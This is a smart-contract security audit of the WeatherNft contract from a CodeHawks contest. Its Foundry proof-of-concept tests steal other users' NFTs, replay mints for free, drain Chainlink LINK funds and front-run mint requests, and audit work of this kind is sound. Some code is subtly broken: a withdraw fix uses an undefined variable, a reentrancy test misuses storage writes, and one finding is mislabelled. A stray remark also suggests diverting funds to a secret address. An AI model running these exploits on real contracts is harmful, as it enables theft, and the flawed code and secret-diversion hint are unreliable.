Weather-Witness Report

About @Siddharth

I'm Siddharth, a blockchain enthusiast diving deep into the world of smart contract auditing . With a solid foundation in solidity and a keen eye for detail I'm committed to making Web3 space secure and efficient .

Disclaimer

The auditor @siddev09 makes all effort to find as many vulnerability in the code in the given time period , but holds no responsibility for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the solidity implementation of the contracts

---

Audit details

```
https://github.com/CodeHawks-Contests/2025-05-weather-witness.git
```

Scope :

```
├── functionsSource
│   ├── GetWeather.js
├── src
│   ├── WeatherNft.sol
```

Tools Used :

- Slither
- Foundry

Findings :

1. [H1]The contract has a payable function **WeatherNft::requestMintWeatherNFT** that accept ETH but there is no withdrawal function in the contract so any ETH sent to the contract is permanently locked
2. [H2] Reentrancy issue in `fullFillMintRequest` function, anyone can mint NFT
3. [H3] Replaying function `fulfillMintRequest` unlimited times with single payment
4. [H4] Unrestricted **performUpkeep** Allows Attacker to Drain Chainlink Automation Funds
5. [M1] Unconditional Price Bumps in **requestMinWeatherNFT** enables Front-Running and user DOS
6. [L1] `s_stepIncreasePerMint` can be exploit
7. [I-1] Direct Funding to Smart Contract
8. [I-1] No checks in Constructor

Summary

Prepared By : @Siddharth
Platform : CodeHawks
Date : JUNE-6-2025

Result Summary

No. of findings :

- High : 4
- Medium : 1
- Low : 1
- Info : 2

[H1] The contract has a payable function `WeatherNft::requestMintWeatherNFT` that accept ETH but there is no withdrawal function in the contract so any ETH sent to the contract is permanently locked

Description

- There should be withdrawal function for the contract owner to withdraw collected ETH

- The lack of withdrawal function directly lead to loss of funds(the ETH is still in the contract)

```
//this is payable function

function requestMintWeatherNFT( string memory _pincode,
string memory _isoCode,
bool _registerKeeper,
uint256 _heartbeat,
uint256 _initLinkDeposit
@> ) external payable returns (bytes32 _reqId)
```

Risk

Likelihood:

- The contract will get more ETH as more users mint NFT's , with the price increasing by s_stepIncreasePerMint for each mint.
- The contract will receive ETH payments every time a user mints a Weather NFT through the requestMintWeatherNFT function.

Impact

- The sent ETH get locked as there is no withdrawal mechanism exist
- The owner also cannot collect the minting fees leading to fund loss
- Users payment also get affected with no recovery process

PROOF OF CONCEPT

```
function test_LockedEther() public {
    // Setup initial balances
    address user1 = makeAddr("user1");
    address user2 = makeAddr("user2");
    vm.deal(user1, 1 ether);
    vm.deal(user2, 1 ether);

    uint256 initialContractBalance = address(weatherNft).balance;

    // First user mints NFT
    uint256 mintPrice1 = weatherNft.s_currentMintPrice();
    vm.prank(user1);
    weatherNft.requestMintWeatherNFT{value: mintPrice1}("12345", "US", false, 1
hours, 0);

    // Second user mints NFT (price should be higher)
    uint256 mintPrice2 = weatherNft.s_currentMintPrice();
    vm.prank(user2);
    weatherNft.requestMintWeatherNFT{value: mintPrice2}("67890", "US", false, 1
hours, 0);

    // Check contract balance increase
    uint256 finalContractBalance = address(weatherNft).balance;
    assertEq(finalContractBalance, initialContractBalance + mintPrice1 +
mintPrice2, "Contract balance mismatch");

    // Attempt to withdraw as owner (should fail as there's no withdraw function)
    vm.prank(weatherNft.owner());
    (bool success, ) =
address(weatherNft).call(abi.encodeWithSignature("withdraw()"));
    assertFalse(success, "Withdraw should fail as function doesn't exist");

    // Verify ETH is locked
    assertEq(address(weatherNft).balance, finalContractBalance, "Contract balance
should remain locked");

    // Verify user balances decreased correctly
    assertEq(user1.balance, 1 ether - mintPrice1, "User1 balance should decrease by
mint price");
    assertEq(user2.balance, 1 ether - mintPrice2, "User2 balance should decrease by
mint price");
}
```

Recommended Mitigation

```
//Add a withdrawal function to WeatherNft.sol
+function withdraw() external onlyOwner {
+   (bool sent ,) = payable(owner).call{value : amount}("");
+   require(sent ,"tx fail");
+}
```

INFO : if you want to divert the funds to a secret address or any safe account you can do it

---

[H2] Reentrancy issue in `fullFillMintRequest` function, anyone can mint NFT

Description:

- A user calls `WeatherNft.sol::requestMintWeatherNFT` function . User also pays the mint price . The data is requested from oracle and once its received , the user calls the `WeatherNft.sol::fulfillMintRequest` function to mint NFT.
- The `WeatherNft.sol::fulfillMintRequest` function does not check if the caller is the owner of the request this means anyone can all this function using `requestId` and mint NFT paid by other user , stealing their NFT.

```
function fulfillMintRequest(bytes32 requestId) external {
    bytes memory response =
s_funcReqIdToMintFunctionReqResponse[requestId].response;
    bytes memory err = s_funcReqIdToMintFunctionReqResponse[requestId].err;

    require(response.length > 0 || err.length > 0, WeatherNft__Unauthorized());

    if (response.length == 0 || err.length > 0) {
        return;
    }


    ...

@>    _mint(msg.sender, tokenId);

}
```

the check is for response for the weather data request. when NFT is minted the `msg.sender` is used as the owner of the NFT and not the original user who called the `requestedMintWeatherNFT` function

---

Risk

Likelihood:

- it is easy to listen to the events emitted by the `requestedMintWeatherNFT` function and get the `requestId` to use later to steal the NFT.

Impact:

- Anyone can mint NFT paid by someone else. This can lead to a loss of funds for the original user and loss of trust in the system.

PROOF OF CONCEPT

Simple test where a user requests and pays for the minting of an NFT. The attacker listens to the events emitted by the `requestMintWeatherNFT` and gets the `requestId`. The attacker then calls the `fulfillMintRequest` function with the stolen `requestId` and mints the NFT for themselves.

```
function test_steal_weatherNFT() public {
    string memory pincode = "125001";
    string memory isoCode = "IN";
    bool registerKeeper = false;
    uint256 heartbeat = 12 hours;
    uint256 initLinkDeposit = 5e18;
    uint256 tokenId = weatherNft.s_tokenCounter();

    // User initiates mint request and approves payment
    vm.startPrank(user);
    linkToken.approve(address(weatherNft), initLinkDeposit);
    vm.recordLogs();
    weatherNft.requestMintWeatherNFT{value: weatherNft.s_currentMintPrice()}(
        pincode,
        isoCode,
        registerKeeper,
        heartbeat,
        initLinkDeposit
    );
    vm.stopPrank();

    // Attacker intercepts the request ID from blockchain logs
    bytes32 reqId;
    Vm.Log[] memory logs = vm.getRecordedLogs();
    for (uint256 i = 0; i < logs.length; i++) {
        if (logs[i].topics[0] ==
keccak256("WeatherNFTMintRequestSent(address,string,string,bytes32)")) {
            (, , , reqId) = abi.decode(logs[i].data, (address, string, string,
bytes32));
            break;
        }
    }
    assert(reqId != bytes32(0));

    // Simulate oracle fulfillment of weather request
    vm.prank(functionsRouter);
    weatherNft.handleOracleFulfillment(reqId,
abi.encode(WeatherNftStore.Weather.RAINY), "");

    // Attacker exploits the stolen request ID to mint the NFT
    vm.prank(attacker);
    weatherNft.fulfillMintRequest(reqId);

    // Validate that the attacker now owns the NFT
    assertEq(weatherNft.ownerOf(tokenId), attacker);
    // Confirm the attacker did not pay for the mint
    assertEq(linkToken.balanceOf(attacker), 1000e18);
}
```

Recommended Mitigation

Two different solutions can be used to fix this issue:

1. **Check the owner of the requestId**: The `fulfillMintRequest` function should check if the caller is the owner of the requestId before minting the NFT. This can be done by adding a check like this:

```
+ require(msg.sender == s_funcReqIdToUserMintReq[requestId].user,
WeatherNft__Unauthorized());
```

2. **Use the original requestId**: The `fulfillMintRequest` function should use the original requestId to mint the NFT.

```
- _mint(msg.sender, tokenId);
+ _mint(s_funcReqIdToUserMintReq[requestId].user, tokenId);
```

3. Re-entrance can happen in `fulfillMintRequest`

- Vulnerable code

```


uint256 tokenId = s_tokenCounter;
s_tokenCounter++;

...

LinkTokenInterface(s_link).approve(...);
AutomationRegistrarInterface(s_keeperRegistrar).registerUpkeep(...);

...
```

```
s_weatherNftInfo[tokenId] = WeatherNftInfo({ ... });
```

Testing

- **Mocks oracle response** and manually sets state using `vm.store`.
- **Initializes** a `UserMintRequest` for the `reentrantContract`.
- **Injects** a crafted `MintFunctionReqResponse`.
- **Hooks** the keeper to the `reentrantContract`.
- Calls the function once → triggers reentry via `onKeeperRegistered`.
- Asserts that reentrancy occurred:

```
// SPDX-License-Identifier: MIT

pragma solidity 0.8.29;



import {Test, console2} from "forge-std/Test.sol";
import {WeatherNft} from "../src/WeatherNft.sol";
import {LinkToken} from "@chainlink/contracts/src/v0.8/mocks/LinkToken.sol";
import {MockFunctionsRouter} from
"@chainlink/contracts/src/v0.8/functions/v1_0_0/test/MockFunctionsRouter.sol";
import {MockAutomationRegistrar} from "./mocks/MockAutomationRegistrar.sol";

contract ReentrantContract {
    WeatherNft public weatherNft;
    bool public hasReentered;
    bytes32 public requestId;

    constructor(address _weatherNft) {
        weatherNft = WeatherNft(_weatherNft);
    }

    // This function will be called by the keeper registrar
    function onKeeperRegistered(uint256 upkeepId) external {
        if (!hasReentered) {
            hasReentered = true;
            // Try to re-enter fulfillMintRequest
            weatherNft.fulfillMintRequest(requestId);

        }
    }

}



contract WeatherNftReentrancyTest is Test {
    WeatherNft public weatherNft;
    LinkToken public linkToken;
    MockFunctionsRouter public functionsRouter;
    MockAutomationRegistrar public keeperRegistrar;
    ReentrantContract public reentrantContract;



    function setUp() public {
        // Deploy mock contracts
        linkToken = new LinkToken();
        functionsRouter = new MockFunctionsRouter();
        keeperRegistrar = new MockAutomationRegistrar();

        // Deploy WeatherNft with mock contracts
        WeatherNft.Weather[] memory weathers = new WeatherNft.Weather[](1);
        weathers[0] = WeatherNft.Weather.SUNNY;
        string[] memory weatherURIs = new string[](1);
        weatherURIs[0] = "ipfs://test";
WeatherNft.FunctionsConfig memory config = WeatherNft.FunctionsConfig({
            source: "test",
            encryptedSecretsURL: "",
            donId: "test",
            subId: 1,
            gasLimit: 300000
        });



        weatherNft = new WeatherNft(
            weathers,
            weatherURIs,
            address(functionsRouter),
            config,
            1 ether, // mint price
            0.1 ether, // step increase
            address(linkToken),
            address(0), // keeper registry
            address(keeperRegistrar),
            300000 // upkeep gas limit
        );

        // Deploy reentrant contract
        reentrantContract = new ReentrantContract(address(weatherNft));

    }


    function testReentrancyVulnerability() public {
        // Setup initial state
        bytes32 requestId = bytes32(uint256(1));
        reentrantContract.requestId = requestId;


        // Mock the functions response
        bytes memory response = abi.encode(uint8(0)); // SUNNY weather
        functionsRouter.mockResponse(requestId, response, "");


        // Setup user mint request data
        WeatherNft.UserMintRequest memory userRequest =
WeatherNft.UserMintRequest({
            user: address(reentrantContract),
            pincode: "12345",
            isoCode: "US",
            registerKeeper: true,
            heartbeat: 3600,
            initLinkDeposit: 1 ether

        });

        // Set the request data in the contract
        vm.store(
            address(weatherNft),
            keccak256(abi.encode(requestId,
uint256(keccak256("s_funcReqIdToUserMintReq")))),
            bytes32(abi.encode(userRequest))
        );

        // Set the response data
        WeatherNft.MintFunctionReqResponse memory mintResponse =
WeatherNft.MintFunctionReqResponse({
            response: response,
            err: ""
        });

        vm.store(
            address(weatherNft),
            keccak256(abi.encode(requestId,
uint256(keccak256("s_funcReqIdToMintFunctionReqResponse")))),
            bytes32(abi.encode(mintResponse))
        );
        // Set up the keeper registrar to call our reentrant contract
        keeperRegistrar.setCallbackContract(address(reentrantContract));

        // Execute the vulnerable function
        weatherNft.fulfillMintRequest(requestId);

        // Verify reentrancy occurred
        assertTrue(reentrantContract.hasReentered(), "Reentrancy did not occur");

    }

}



// SPDX-License-Identifier: MIT
pragma solidity 0.8.29;



import {IAutomationRegistrarInterface} from
"../../src/interfaces/IAutomationRegistrarInterface.sol";



contract MockAutomationRegistrar {
    address public callbackContract;

    function setCallbackContract(address _callbackContract) external {
        callbackContract = _callbackContract;

    }


    function registerUpkeep(
  IAutomationRegistrarInterface.RegistrationParams memory params
    ) external returns (uint256) {
        // Simulate successful registration and callback
        if (callbackContract != address(0)) {
            (bool success, ) = callbackContract.call(
                abi.encodeWithSignature("onKeeperRegistered(uint256)", 1)
            );
            require(success, "Callback failed");
        }
        return 1; // Return a mock upkeep ID
    }
}
```

- Resolved Function (JUST FOR REPRESENTATION)

```
function fulfillMintRequest(bytes32 requestId) external nonReentrant {
    bytes memory response =
s_funcReqIdToMintFunctionReqResponse[requestId].response;
    bytes memory err = s_funcReqIdToMintFunctionReqResponse[requestId].err;

    require(response.length > 0 || err.length > 0, WeatherNft__Unauthorized());
    if (response.length == 0 || err.length > 0) return;

    UserMintRequest memory _userMintRequest = s_funcReqIdToUserMintReq[requestId];
    require(msg.sender == _userMintRequest.user, WeatherNft__Unauthorized());

    uint8 weather = abi.decode(response, (uint8));
    uint256 tokenId = s_tokenCounter;
    s_tokenCounter++;

    emit WeatherNFTMinted(requestId, _userMintRequest.user, Weather(weather));
    _mint(_userMintRequest.user, tokenId);
    s_tokenIdToWeather[tokenId] = Weather(weather);

    // Store full metadata BEFORE interacting with external contracts
    s_weatherNftInfo[tokenId] = WeatherNftInfo({
        heartbeat: _userMintRequest.heartbeat,
        lastFulfilledAt: block.timestamp,
        upkeepId: 0,
        pincode: _userMintRequest.pincode,
        isoCode: _userMintRequest.isoCode
    });

    if (_userMintRequest.registerKeeper) {
        LinkTokenInterface(s_link).approve(
            s_keeperRegistrar,
            _userMintRequest.initLinkDeposit
        );

        IAutomationRegistrarInterface.RegistrationParams memory _keeperParams =
            IAutomationRegistrarInterface.RegistrationParams({
                name: string.concat("Weather NFT Keeper: ",
Strings.toString(tokenId)),
                encryptedEmail: "",
                upkeepContract: address(this),
                gasLimit: s_upkeepGaslimit,
                adminAddress: address(this),
                triggerType: 0,
                checkData: abi.encode(tokenId),
                triggerConfig: "",
                offchainConfig: "",
                amount: uint96(_userMintRequest.initLinkDeposit)
            });

        uint256 upkeepId = IAutomationRegistrarInterface(s_keeperRegistrar)
            .registerUpkeep(_keeperParams);

        s_weatherNftInfo[tokenId].upkeepId = upkeepId;
    }

    // Clear request mappings to prevent replay
    delete s_funcReqIdToUserMintReq[requestId];
    delete s_funcReqIdToMintFunctionReqResponse[requestId];
}
```

Add-On Recommendation :

- Consider using **OpenZeppelin's** `ReentrancyGuard` to implement `nonReentrant`.
- Optionally, log request clean-up with an event like `WeatherMintRequestFulfilled(bytes32 requestId, address user)`.

[H3] Replaying function `fulfillMintRequest` unlimited times with single payment

Summary

The `WeatherNft::fulfillMintRequest` function does not check multiple execution allowing anyone to repeatedly call `fulfillMintRequest` after a single paid mint request. As a result, an attacker can mint **unlimited NFTs for free after the initial payment**, severely breaking the one-NFT-per-payment guarantee and supply/demand ratio of NFT

Vulnerability Details

```
// @audit-issue No check that fulfillMintRequest can only be called once per
requestId
@> function fulfillMintRequest(bytes32 requestId) external {
     // ...
}
```

Issue Identified

- The contract does **not track** whether a `requestId` has already been fulfilled.
- Anyone (including the original minter) can **call** `fulfillMintRequest` **multiple times** with the same `requestId`.
- **Each call after the first is effectively free**, as only the initial mint required payment.

Risk

Likelihood:

- Anyone aware of a fulfilled `requestId` can script multiple calls, leading to fast, repeated free mints.

Impact:

- **Unlimited NFTs can be minted for a single payment**, creating free NFTs after the first.
- This **destroys the payment model** and completely breaks scarcity, causing financial and reputational harm to the protocol and its users.

Proof of Concept

An attacker exploits `fulfillMintRequest` by calling it multiple times with the same `requestId`, minting unlimited NFTs despite paying for only one. The absence of a safeguard allows repeated execution, draining resources.

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.29;

import {Test, console} from "forge-std/Test.sol";
import {WeatherNft, WeatherNftStore} from "src/WeatherNft.sol";
import {LinkTokenInterface} from
"@chainlink/contracts/src/v0.8/shared/interfaces/LinkTokenInterface.sol";
import {Vm} from "forge-std/Vm.sol";

contract WeatherNftForkTest is Test {
    WeatherNft weatherNft;
    LinkTokenInterface linkToken;
    address functionsRouter;
    address attacker = makeAddr("attacker");

    function setUp() external {
        weatherNft = WeatherNft(0x4fF356bB2125886d048038386845eCbde022E15e);
        linkToken = LinkTokenInterface(0x0b9d5D9136855f6FEc3c0993feE6E9CE8a297846);
        functionsRouter = 0xA9d587a00A31A52Ed70D6026794a8FC5E2F5dCb0;

        vm.deal(attacker, 1000e18);
        deal(address(linkToken), attacker, 1000e18);

        // Fund the subscription required by Chainlink Functions
        vm.prank(attacker);
        linkToken.transferAndCall(functionsRouter, 100e18, abi.encode(15459));
    }

    function test_FulfillMintRequest_MultiMint_Vulnerability() public {
        string memory pincode = "125001";
        string memory isoCode = "IN";
        bool registerKeeper = false;
        uint256 heartbeat = 12 hours;
        uint256 initLinkDeposit = 5e18;

        uint256 tokenId = weatherNft.s_tokenCounter();

        // Step 1: Attacker initiates a Weather NFT mint request
        vm.startPrank(attacker);
        linkToken.approve(address(weatherNft), initLinkDeposit);
        vm.recordLogs();
        weatherNft.requestMintWeatherNFT{value: weatherNft.s_currentMintPrice()}(
            pincode, isoCode, registerKeeper, heartbeat, initLinkDeposit
        );
        vm.stopPrank();

        // Step 2: Extract requestId from the WeatherNFTMintRequestSent event
        Vm.Log[] memory logs = vm.getRecordedLogs();
        bytes32 reqId;
        for (uint256 i; i < logs.length; i++) {
            if (logs[i].topics[0] ==
keccak256("WeatherNFTMintRequestSent(address,string,string,bytes32)")) {
                (,,, reqId) = abi.decode(logs[i].data, (address, string, string,
bytes32));
                break;
            }
        }

        // Step 3: Simulate successful Chainlink oracle fulfillment
        vm.prank(functionsRouter);
        bytes memory weatherResponse = abi.encode(WeatherNftStore.Weather.RAINY);
        weatherNft.handleOracleFulfillment(reqId, weatherResponse, "");

        // Step 4: Attacker calls fulfillMintRequest multiple times with the same
requestId
        // This should not be possible — however, the contract currently allows it.
        vm.startPrank(attacker);
        weatherNft.fulfillMintRequest(reqId); // First call, mints NFT
        weatherNft.fulfillMintRequest(reqId); // Second call, mints another NFT
with the same requestId
        vm.stopPrank();

        // Step 5: Both NFTs are minted to the attacker, demonstrating the multi-
mint vulnerability
        vm.assertEq(weatherNft.ownerOf(tokenId), attacker);
        vm.assertEq(weatherNft.ownerOf(tokenId + 1), attacker);
    }
}
```

Recommendations

Ensure One-Time Fulfillment

Track fulfillment status for each `requestId` and prevent duplicate calls:

```
+   mapping(bytes32 => bool) public fulfilled;

 function fulfillMintRequest(bytes32 requestId) external {
+    require(!fulfilled[requestId], "Already fulfilled");
+    fulfilled[requestId] = true;
     // ... existing logic ...
 }
```

This ensures each `requestId` can be used to mint only one NFT, preventing duplication and maintaining NFT scarcity.

[H4] Unrestricted **performUpkeep** Allows Attacker to Drain Chainlink Automation Funds

Summary

The `WeatherNft::performUpkeep` function lacks access controls and heartbeat checks, allowing any external address to call it repeatedly. This enables attackers to drain LINK from the Automation subscription, disrupting legitimate usage and disabling automated weather updates.

Vulnerability Details

```
// @audit-issue No rate limiting or authorization in performUpkeep
@> function performUpkeep(bytes calldata performData) external override {
       // ...
       _sendFunctionsWeatherFetchRequest(pincode, isoCode);
}
```

Issues Identified

The `performUpkeep` function allows unrestricted calls with any tokenId, consuming LINK from the Automation subscription without heartbeat checks or caller validation. Automated or repeated calls can rapidly drain LINK, disrupting NFT weather updates for all users.

Risk

Likelihood:

- Any attacker or bot can repeatedly call `performUpkeep` with the same tokenId, as often as they want.
- This attack does not require any special privileges or timing, making it trivial to exploit on a large scale.

Impact:

- All LINK in the project's Chainlink Automation subscription can be drained, incurring significant financial loss.
- Legitimate users lose automated weather updates for their NFTs, and the service is effectively disabled until more LINK is deposited.

Proof of Concept

An attacker can repeatedly call `performUpkeep` on any Weather NFT, rapidly draining LINK from the Chainlink Automation subscription. Without heartbeat checks or caller restrictions, this exploit disables automated weather updates for legitimate users until funds are replenished.

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.29;

import {Test} from "forge-std/Test.sol";
import {WeatherNft, WeatherNftStore} from "src/WeatherNft.sol";
import {LinkTokenInterface} from
"@chainlink/contracts/src/v0.8/shared/interfaces/LinkTokenInterface.sol";
import {Vm} from "forge-std/Vm.sol";

contract WeatherNftForkTest is Test {
    WeatherNft weatherNft;
    LinkTokenInterface linkToken;
    address functionsRouter;
    address user = makeAddr("user");
    address attacker = makeAddr("attacker");

    function setUp() external {
        weatherNft = WeatherNft(0x4fF356bB2125886d048038386845eCbde022E15e);
        linkToken = LinkTokenInterface(0x0b9d5D9136855f6FEc3c0993feE6E9CE8a297846);
        functionsRouter = 0xA9d587a00A31A52Ed70D6026794a8FC5E2F5dCb0;

        vm.deal(user, 1000e18);
        deal(address(linkToken), user, 1000e18);

        //Fund Chainlink Automation subscription with LINK (1e18)
        vm.prank(user);
        linkToken.transferAndCall(functionsRouter, 1e18, abi.encode(15459));
    }

    function test_performUpkeep_DrainLink() public {
        //Mint a Weather NFT
        vm.startPrank(user);
        linkToken.approve(address(weatherNft), 5e18);
        vm.recordLogs();
        weatherNft.requestMintWeatherNFT{value: weatherNft.s_currentMintPrice()}
("125001", "IN", true, 12 hours, 5e18);
        vm.stopPrank();

        //Fetch requestId efficiently from logs (Avoid looping through all logs)
        bytes32 reqId;
        Vm.Log[] memory logs = vm.getRecordedLogs();
        for (uint256 i = logs.length; i > 0; i--) { // Reverse loop for efficiency
            if (logs[i - 1].topics[0] ==
keccak256("WeatherNFTMintRequestSent(address,string,string,bytes32)")) {
                (,,, reqId) = abi.decode(logs[i - 1].data, (address, string,
string, bytes32));
                break;
            }
        }

        //Simulate Oracle fulfillment and complete minting
        vm.prank(functionsRouter);
        weatherNft.handleOracleFulfillment(reqId,
abi.encode(WeatherNftStore.Weather.RAINY), "");
```

```
        vm.prank(user);
        weatherNft.fulfillMintRequest(reqId);

        // Encode tokenId for upkeep
        uint256 tokenId = weatherNft.s_tokenCounter() - 1;
        bytes memory performData = abi.encode(tokenId);

        // Test LINK exhaustion in the fewest steps possible
        vm.prank(attacker);
        bool reverted = false;

        for (uint256 i = 0; i < 100 && !reverted; i++) { // 🚀 Stop loop on first
failure (Saves gas!)
            try weatherNft.performUpkeep(performData) {}
            catch {
                reverted = true;
            }
        }

        assertTrue(reverted, "Should revert when LINK balance is exhausted");
    }
}
```

Recommendations

- **Enforce a Heartbeat Check** Require that `performUpkeep` can only be executed if the heartbeat interval has elapsed since the last successful weather update. This prevents repeated or premature calls from consuming LINK unnecessarily.

  ```
  require(
      block.timestamp >= info.lastFulfilledAt + info.heartbeat,
      "Not time for upkeep"
  );
  ```

- **Refine Access Controls for Automated and Manual Updates** Differentiate between NFTs registered with ChainLink Automation (having a nonzero `upkeepId`) and those without.
  - For **automated** updates (`info.upkeepId != 0`), allow only the Keeper Registry contract to call.
  - For **manual** updates (`info.upkeepId == 0`), allow only the NFT owner to call.

  ```
  function performUpkeep(bytes calldata performData)
      external
      override
  {
  ```

```
        uint256 _tokenId = abi.decode(performData, (uint256));
        WeatherNftInfo storage info = s_weatherNftInfo[_tokenId];

        // Heartbeat check
        require(
            block.timestamp >= info.lastFulfilledAt + info.heartbeat,
            "Not time for upkeep"
        );

        if (info.upkeepId != 0) {
            // Automated upkeep: only keeper registry may call
            require(msg.sender == s_keeperRegistry, "Only keeper registry");
        } else {
            // Manual update: only NFT owner may call
            require(msg.sender == ownerOf(_tokenId), "Only NFT owner");
        }

        // ... proceed with sending Chainlink Functions request ...
    }
```

[M1] Unconditional Price Bumps in **requestMinWeatherNFT** enables Front-Running and user DOS

Description

`requestMintWeatherNFT` increases the mint price **immediately** when any mint request enters the mempool—even *before* the original transaction is mined. This allows a front-runner to watch for a user's pending mint, submit their own mint with a higher gas price at the **old** price, and cause the victim's transaction to revert (because the price has just been bumped). The attacker thus mints "cheaper," and user loses gas.

```
function requestMintWeatherNFT(...) external payable returns (bytes32 _reqId) {
    require(msg.value == s_currentMintPrice, WeatherNft__InvalidAmountSent());
    // ——> @> price is bumped here immediately
    s_currentMintPrice += s_stepIncreasePerMint;
    // … rest of logic …
}
```

Risk

Likelihood: High

- Bots and MEV searchers continuously monitor the public mempool for high-value NFT mint requests.
- Submitting a rival transaction with higher gas to execute first is trivial—no special privileges or complex conditions needed.

Impact: Medium

- **Gas Drain & Denial-of-Service**: Legitimate users’ transactions revert, wasting gas and blocking their ability to mint at the intended price.
- **Cheaper Arbitrage Mint**: Attackers secure NFTs at the old, lower price, undermining fair access and potentially capturing all supply before retail users

Proof of Concept

Add the following test in the testing suite:

```
// Declare the frontRunner
address frontRunner = makeAddr("frontRunner");

// Add setup allocations
vm.deal(frontRunner, 1000e18);
deal(address(linkToken), frontRunner, 1000e18);

// Updated Test: Front-Running Vulnerability
function test_frontRunning_vulnerability() public {
    string memory pincode = "110001";
    string memory isoCode = "IN";
    uint256 initialPrice = weatherNft.s_currentMintPrice();

    console.log(
        "Initial price: ", initialPrice,
        " Step increase: ", weatherNft.s_stepIncreasePerMint()
    );

    // Simulate user transaction
    vm.startPrank(user);
    bytes memory userTx = abi.encodeWithSelector(
        weatherNft.requestMintWeatherNFT.selector,
        pincode,
        isoCode,
        false,
        12 hours,
        0
    );
    vm.stopPrank();
    // Front-runner exploits by minting first
    vm.prank(frontRunner);
    weatherNft.requestMintWeatherNFT{value: initialPrice}(
        "999999",
        "US",
        false,
        12 hours,
        0
    );

    // Check new price after front-running
    uint256 newPrice = weatherNft.s_currentMintPrice();
    console.log(
        "New price: ", newPrice,
        " Step increase: ", weatherNft.s_stepIncreasePerMint()
    );
    assertEq(newPrice, initialPrice + weatherNft.s_stepIncreasePerMint());

    // User's transaction should fail with outdated price
    vm.expectRevert(WeatherNftStore.WeatherNft__InvalidAmountSent.selector);
    vm.prank(user);
    (bool success, ) = address(weatherNft).call{value: initialPrice}(userTx);
}
```

SETTING

```
[PASS] test_frontRunning_vulnerability() (gas: 510032)
Logs:
  Initial price:  500000000000000  Step increase:  50000000000000
  New price:  550000000000000  Step increase:  50000000000000
```

Running this test with the command `forge test --mt test_frontRunning_vulnerability --via-ir --rpc-url $SEPOLIA_RPC_URL -vvvv` will have the output shown in Fig.1.

OUTCOME

```
  ├─ [0] VM::prank(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D])
    │   └─ ← [Return]
    ├─ [1270]
0x4fF356bB2125886d048038386845eCbde022E15e::requestMintWeatherNFT{value:
500000000000000}("110001", "IN", false, 43200 [4.32e4], 0)
    │   └─ ← [Revert] WeatherNft__InvalidAmountSent()
    └─ ← [Return]
```

As we can see, when we try to call the **tx** with the initial value, it will revert. As such, our user got front-run.

Recommended Mitigation

Because bumping up the price in the `requestMintWeatherNFT leads to the user getting front-run, we could technically increase the price after the whole minting process is complete.

```diff
 function requestMintWeatherNFT(...) external payable returns (bytes32 _reqId) {
     require(msg.value == s_currentMintPrice, WeatherNft__InvalidAmountSent());
-    // immediate bump allows front-running
-    s_currentMintPrice += s_stepIncreasePerMint;
+    // defer INCREASE until after mint finalization
+    // (e.g. in fulfillMintRequest, after successful mint)
     // … existing transfer/LINK logic …
     _reqId = _sendFunctionsWeatherFetchRequest(_pincode, _isoCode);
+    // do *not* INCREASE price here
     emit WeatherNFTMintRequestSent(msg.sender, _pincode, _isoCode, _reqId);
     // record user request…
 }
+
+// then, in fulfillMintRequest, once mint is done:
+function fulfillMintRequest(bytes32 requestId) external {
+    // … existing checks and mint …
+    // only now INCREASE the price for next user
+    s_currentMintPrice += s_stepIncreasePerMint;
+}
```

[L1] Economic Exploit: Unbounded Price Increase `requestMintWeatherNF`

Issue :

- The mint price increases indefinitely (`s_currentMintPrice += s_stepIncreasePerMint`) without a cap.

Impact :

- Could lead to unrealistic minting costs, pricing users out, or unintended overflow risks.

Recommendations :

- Set a maximum price cap.

- Use gradual price adjustments instead of static increments.
- Implement cooldown periods between mints.

[I-1] Direct Funding to Smart Contract

Recommendation :

- there are no `fallback/receive` in the contract , if anyone directly sends some fund it get locked

---

[I-1] No checks in Constructor

Recommendation :

- There are lack of checks against `address ( 0 )`